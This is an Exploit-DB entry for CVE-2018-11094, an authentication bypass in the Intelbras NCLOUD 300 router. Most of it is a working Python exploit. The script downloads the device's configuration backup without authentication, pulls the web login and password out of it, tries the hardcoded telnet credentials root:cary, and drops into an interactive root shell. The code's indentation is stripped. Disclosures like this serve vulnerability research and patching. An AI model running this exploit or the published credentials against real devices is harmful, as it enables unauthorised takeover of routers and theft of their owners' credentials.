Intelbras NCLOUD 300 1.0 - Authentication bypass

EDB-ID: 44637
Author: Pedro Aguiar
Published: 2018-05-17
CVE: CVE-2018-11094
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # Exploit Title: Intelbras NCloud Authentication bypass 
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - [email protected]
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password.
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist,
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
print 'Usage: '
print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
if(user == "root"):
print '[+] Trying default credentials: root:cary'
else:
print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
with open('NCLOUD_config.dat', "r") as f:
content = f.read()
user = content.split("Login=")[1].split("\n")[0]
password = content.split("Password=")[1].split("\n")[0]
#print 'User: '+ user
#print 'Password: '+ password
f.close()
try:
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
tn = telnetlib.Telnet(ip, 23, timeout=10)
tn.expect(["WORKGROUP login:"], 5)
tn.write(user + "\r\n")
tn.expect(["Password:"], 5)
tn.write(password + "\r\n")
i = tn.expect(["Login incorrect"], 5)
if i[0] != -1:
raise ValueError('[-] Wrong credential')
tn.write("cat /proc/cpuinfo\r\n")
tn.interact()

tn.close()
except Exception as e:
print e
if(user == "root"):
pop_shell(host, 'try', 'again')

def exploit(host):
print '[*] Connecting to %s' %host
path = '/cgi-bin/ExportSettings.sh'
payload = 'Export=Salvar'

response = requests.post(host + path, data=payload)
response.raise_for_status()

if(response.status_code == 200 and "Login=" in response.text):
print '[+] Config download was successful'
print '[+] Saving backup file to NCLOUD_config.dat'
with open('NCLOUD_config.dat', "w") as f:
f.write(response.text)
f.close()
pop_shell(host, "root", "cary")
def main():
if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
help()
return
host = sys.argv[1]
exploit(host)

if __name__ == '__main__':
main()

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